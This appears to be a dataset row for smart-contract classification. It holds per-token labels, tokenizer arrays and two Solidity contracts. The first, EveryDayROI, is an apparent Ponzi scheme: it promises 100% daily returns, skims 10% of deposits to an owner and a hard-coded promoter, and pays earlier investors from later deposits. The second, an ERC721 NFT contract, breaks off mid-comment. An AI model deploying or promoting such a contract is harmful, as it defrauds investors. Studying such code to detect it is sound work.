1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
pragma solidity ^0.4.24;
contract EveryDayROI{
using SafeMath for uint256;
mapping(address => uint256) investments;
mapping(address => uint256) joined;
mapping(address => uint256) withdrawals;
mapping(address => uint256) referrer;
uint256 public minimum = 10000000000000000;
uint256 public step = 100;
address public ownerWallet;
address public owner;
address public bountyManager;
address promoter = 0x630198f7a7ba302dcb3595a82f60930d83747ef7;
event Invest(address investor, uint256 amount);
event Withdraw(address investor, uint256 amount);
event Bounty(address hunter, uint256 amount);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Сonstructor Sets the original roles of the contract
*/
constructor(address _bountyManager) public {
owner = msg.sender;
ownerWallet = msg.sender;
bountyManager = _bountyManager;
}
/**
* @dev Modifiers
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyBountyManager() {
require(msg.sender == bountyManager);
_;
}
/**
* @dev Allows current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
* @param newOwnerWallet The address to transfer ownership to.
*/
function transferOwnership(address newOwner, address newOwnerWallet) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
ownerWallet = newOwnerWallet;
}
/**
* @dev Investments
*/
function () external payable {
require(msg.value >= minimum);
if (investments[msg.sender] > 0){
if (withdraw()){
withdrawals[msg.sender] = 0;
}
}
investments[msg.sender] = investments[msg.sender].add(msg.value);
joined[msg.sender] = block.timestamp;
ownerWallet.transfer(msg.value.div(100).mul(5));
promoter.transfer(msg.value.div(100).mul(5));
emit Invest(msg.sender, msg.value);
}
/**
* @dev Evaluate current balance
* @param _address Address of investor
*/
function getBalance(address _address) view public returns (uint256) {
uint256 minutesCount = now.sub(joined[_address]).div(1 minutes);
uint256 percent = investments[_address].mul(step).div(100);
uint256 different = percent.mul(minutesCount).div(1440);
uint256 balance = different.sub(withdrawals[_address]);
return balance;
}
/**
* @dev Withdraw dividends from contract
*/
function withdraw() public returns (bool){
require(joined[msg.sender] > 0);
uint256 balance = getBalance(msg.sender);
if (address(this).balance > balance){
if (balance > 0){
withdrawals[msg.sender] = withdrawals[msg.sender].add(balance);
msg.sender.transfer(balance);
emit Withdraw(msg.sender, balance);
}
return true;
} else {
return false;
}
}
/**
* @dev Bounty reward
*/
function bounty() public {
uint256 refBalance = checkReferral(msg.sender);
if(refBalance >= minimum) {
if (address(this).balance > refBalance) {
referrer[msg.sender] = 0;
msg.sender.transfer(refBalance);
emit Bounty(msg.sender, refBalance);
}
}
}
/**
* @dev Gets balance of the sender address.
* @return An uint256 representing the amount owned by the msg.sender.
*/
function checkBalance() public view returns (uint256) {
return getBalance(msg.sender);
}
/**
* @dev Gets withdrawals of the specified address.
* @param _investor The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function checkWithdrawals(address _investor) public view returns (uint256) {
return withdrawals[_investor];
}
/**
* @dev Gets investments of the specified address.
* @param _investor The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function checkInvestments(address _investor) public view returns (uint256) {
return investments[_investor];
}
/**
* @dev Gets referrer balance of the specified address.
* @param _hunter The address of the referrer
* @return An uint256 representing the referral earnings.
*/
function checkReferral(address _hunter) public view returns (uint256) {
return referrer[_hunter];
}
/**
* @dev Updates referrer balance
* @param _hunter The address of the referrer
* @param _amount An uint256 representing the referral earnings.
*/
function updateReferral(address _hunter, uint256 _amount) onlyBountyManager public {
referrer[_hunter] = referrer[_hunter].add(_amount);
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | True | [
101,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2484,
1025,
3206,
10126,
26692,
1063,
2478,
3647,
18900,
2232,
2005,
21318,
3372,
17788,
2575,
1025,
12375,
1006,
4769,
1027,
1028,
21318,
3372,
17788,
2575,
1007,
10518,
1025,
12375,
1006,
4769,
1027,
1028,
21318,
3372,
17788,
2575,
1007,
2587,
1025,
12375,
1006,
4769,
1027,
1028,
21318,
3372,
17788,
2575,
1007,
10534,
2015,
1025,
12375,
1006,
4769,
1027,
1028,
21318,
3372,
17788,
2575,
1007,
6523,
14544,
1025,
21318,
3372,
17788,
2575,
2270,
6263,
1027,
6694,
8889,
8889,
8889,
8889,
8889,
8889,
2692,
1025,
21318,
3372,
17788,
2575,
2270,
3357,
1027,
2531,
1025,
4769,
2270,
3954,
9628,
3388,
1025,
4769,
2270,
3954,
1025,
4769,
2270,
17284,
24805,
4590,
1025,
4769,
15543,
1027,
1014,
2595,
2575,
14142,
16147,
2620,
2546,
2581,
2050,
2581,
3676,
14142,
2475,
16409,
2497,
19481,
2683,
2629,
2050,
2620,
2475,
2546,
16086,
2683,
14142,
2094,
2620,
24434,
22610,
12879,
2581,
1025,
2724,
15697,
1006,
4769,
14316,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
1025,
2724,
10632,
1006,
4769,
14316,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
1025,
2724,
17284,
1006,
4769,
4477,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
1025,
2724,
6095,
6494,
3619,
7512,
5596,
1006,
4769,
25331,
3025,
12384,
2121,
1010,
4769,
25331,
2047,
12384,
2121,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
1196,
5644,
18300,
2953,
4520,
1996,
2434,
4395,
1997,
1996,
3206,
1008,
1013,
9570,
2953,
1006,
4769,
1035,
17284,
24805,
4590,
1007,
2270,
1063,
3954,
1027,
5796,
2290,
1012,
4604,
2121,
1025,
3954,
9628,
3388,
1027,
5796,
2290,
1012,
4604,
2121,
1025,
17284,
24805,
4590,
1027,
1035,
17284,
24805,
4590,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
16913,
28295,
1008,
1013,
16913,
18095,
2069,
12384,
2121,
1006,
1007,
1063,
5478,
1006,
5796,
2290,
1012,
4604,
2121,
1027,
1027,
3954,
1007,
1025,
1035,
1025,
1065,
16913,
18095,
2069,
5092,
16671,
17906,
17325,
1006,
1007,
1063,
5478,
1006,
5796,
2290,
1012,
4604,
2121,
1027,
1027,
17284,
24805,
4590,
1007,
1025,
1035,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
4473,
2783,
3954,
2000,
4651,
2491,
1997,
1996,
3206,
2000,
1037,
2047,
12384,
2121,
1012,
1008,
1030,
11498,
2213,
2047,
12384,
2121,
1996,
4769,
2000,
4651,
6095,
2000,
1012,
1008,
1030,
11498,
2213,
2047,
12384,
2121,
9628,
3388,
1996,
4769,
2000,
4651,
6095,
2000,
1012,
1008,
1013,
3853,
4651,
12384,
2545,
5605,
1006,
4769,
2047,
12384,
2121,
1010,
4769,
2047,
12384,
2121,
9628,
3388,
1007,
2270,
2069,
12384,
2121,
1063,
5478,
1006,
2047,
12384,
2121,
999,
1027,
4769,
1006,
1014,
1007,
1007,
1025,
12495,
2102,
6095,
6494,
3619,
7512,
5596,
1006,
3954,
1010,
2047,
12384,
2121,
1007,
1025,
3954,
1027,
2047,
12384,
2121,
1025,
3954,
9628,
3388,
1027,
2047,
12384,
2121,
9628,
3388,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
10518,
1008,
1013,
3853,
1006,
1007,
6327,
3477,
3085,
1063,
5478,
1006,
5796,
2290,
1012,
3643,
1028,
1027,
6263,
1007,
1025,
2065,
1006,
10518,
1031,
5796,
2290,
1012,
4604,
2121,
1033,
1028,
1014,
1007,
1063,
2065,
1006,
10632,
1006,
1007,
1007,
1063,
10534,
2015,
1031,
5796,
2290,
1012,
4604,
2121,
1033,
1027,
1014,
1025,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-08-12
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
library Strings {
function toString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
uint256 index = digits - 1;
temp = value;
while (temp != 0) {
buffer[index--] = bytes1(uint8(48 + temp % 10));
temp /= 10;
}
return string(buffer);
}
}
library EnumerableMap {
struct MapEntry {
bytes32 _key;
bytes32 _value;
}
struct Map {
MapEntry[] _entries;
mapping (bytes32 => uint256) _indexes;
}
function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) {
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) { // Equivalent to !contains(map, key)
map._entries.push(MapEntry({ _key: key, _value: value }));
map._indexes[key] = map._entries.length;
return true;
} else {
map._entries[keyIndex - 1]._value = value;
return false;
}
}
function _remove(Map storage map, bytes32 key) private returns (bool) {
uint256 keyIndex = map._indexes[key];
if (keyIndex != 0) { // Equivalent to contains(map, key)
uint256 toDeleteIndex = keyIndex - 1;
uint256 lastIndex = map._entries.length - 1;
MapEntry storage lastEntry = map._entries[lastIndex];
map._entries[toDeleteIndex] = lastEntry;
map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based
map._entries.pop();
delete map._indexes[key];
return true;
} else {
return false;
}
}
function _contains(Map storage map, bytes32 key) private view returns (bool) {
return map._indexes[key] != 0;
}
function _length(Map storage map) private view returns (uint256) {
return map._entries.length;
}
function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) {
require(map._entries.length > index, "EnumerableMap: index out of bounds");
MapEntry storage entry = map._entries[index];
return (entry._key, entry._value);
}
function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) {
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) return (false, 0); // Equivalent to contains(map, key)
return (true, map._entries[keyIndex - 1]._value); // All indexes are 1-based
}
function _get(Map storage map, bytes32 key) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, "EnumerableMap: nonexistent key"); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
struct UintToAddressMap {
Map _inner;
}
function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) {
return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value))));
}
function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) {
return _remove(map._inner, bytes32(key));
}
function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) {
return _contains(map._inner, bytes32(key));
}
function length(UintToAddressMap storage map) internal view returns (uint256) {
return _length(map._inner);
}
function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) {
(bytes32 key, bytes32 value) = _at(map._inner, index);
return (uint256(key), address(uint160(uint256(value))));
}
function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) {
(bool success, bytes32 value) = _tryGet(map._inner, bytes32(key));
return (success, address(uint160(uint256(value))));
}
function get(UintToAddressMap storage map, uint256 key) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key)))));
}
function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage))));
}
}
library EnumerableSet {
struct Set {
bytes32[] _values;
mapping (bytes32 => uint256) _indexes;
}
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
function _remove(Set storage set, bytes32 value) private returns (bool) {
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
bytes32 lastvalue = set._values[lastIndex];
set._values[toDeleteIndex] = lastvalue;
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
set._values.pop();
delete set._indexes[value];
return true;
} else {
return false;
}
}
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
struct Bytes32Set {
Set _inner;
}
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
struct AddressSet {
Set _inner;
}
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
struct UintSet {
Set _inner;
}
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Integer modulo of two numbers, truncating the remainder.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
}
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
abstract contract ERC165 is IERC165 {
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () {
_registerInterface(_INTERFACE_ID_ERC165);
}
function supportsInterface(bytes4 interfaceId) external view virtual override returns (bool) {
return _supportedInterfaces[interfaceId];
}
function _registerInterface(bytes4 interfaceId) internal virtual {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
event URI(string value, uint256 indexed id);
function balanceOf(address owner) external view returns (uint256 balance);
function royaltyFee(uint256 tokenId) external view returns(uint256);
function getCreator(uint256 tokenId) external view returns(address);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(address from, address to, uint256 tokenId) external;
function transferFrom(address from, address to, uint256 tokenId) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
interface IERC721Receiver {
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
interface IERC721Enumerable is IERC721 {
function totalSupply() external view returns (uint256);
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
function tokenByIndex(uint256 index) external view returns (uint256);
}
interface IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
using SafeMath for uint256;
using Address for address;
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableMap for EnumerableMap.UintToAddressMap;
using Strings for uint256;
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
// Mapping from token ID to account balances
mapping (address => EnumerableSet.UintSet) private _holderTokens;
EnumerableMap.UintToAddressMap private _tokenOwners;
// Mapping from tokenId to operator approvals
mapping (uint256 => address) private _tokenApprovals;
// Mapping from account to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
string private _name;
string private _symbol;
// mapping for token URIs
mapping (uint256 => string) private _tokenURIs;
// mapping for token royaltyFee
mapping(uint256 => uint256) private _royaltyFee;
// mapping for token creator
mapping (uint256 => address) private _creator;
string private _baseURI;
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
_registerInterface(_INTERFACE_ID_ERC721);
_registerInterface(_INTERFACE_ID_ERC721_METADATA);
_registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE);
}
/**
@notice Get the Token balance of an account's.
@param owner The address of the token holder
@return The account's balance of the Token type requested
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _holderTokens[owner].length();
}
/**
@notice Get the owner of tokenId.
@param tokenId The tokenId of the token holder
@return The current owner of the requested tokenId
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token");
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = baseURI();
if (bytes(base).length == 0) {
return _tokenURI;
}
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
return string(abi.encodePacked(base, tokenId.toString()));
}
function baseURI() public view virtual returns (string memory) {
return _baseURI;
}
function royaltyFee(uint256 tokenId) public view override returns(uint256) {
return _royaltyFee[tokenId];
}
function getCreator(uint256 tokenId) public view override returns(address) {
return _creator[tokenId];
}
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
return _holderTokens[owner].at(index);
}
function totalSupply() public view virtual override returns (uint256) {
return _tokenOwners.length();
}
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
(uint256 tokenId, ) = _tokenOwners.at(index);
return tokenId;
}
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
@notice Enable or disable approval for a third party ("operator") to manage all of the caller's tokens.
@dev MUST emit the ApprovalForAll event on success.
@param operator Address to add to the set of authorized operators
@param approved True if the operator is approved, false to revoke approval
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
@notice Queries the approval status of an operator for a given owner.
@param owner The owner of the Tokens
@param operator Address of authorized operator
@return True if the operator is approved, false if not
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
@notice Transfers `_value` amount of an `_id` from the `_from` address to the `_to` address specified (with safety call).
@dev Caller must be approved to manage the tokens being transferred out of the `_from` account (see "Approval" section of the standard).
MUST revert if `_to` is the zero address.
MUST revert if balance of holder for token `_id` is lower than the `_value` sent.
MUST revert on any other error.
MUST emit the `TransferSingle` event to reflect the balance change (see "Safe Transfer Rules" section of the standard).
After the above conditions are met, this function MUST check if `_to` is a smart contract (e.g. code size > 0). If so, it MUST call `onERC1155Received` on `_to` and act appropriately (see "Safe Transfer Rules" section of the standard).
@param from Source address
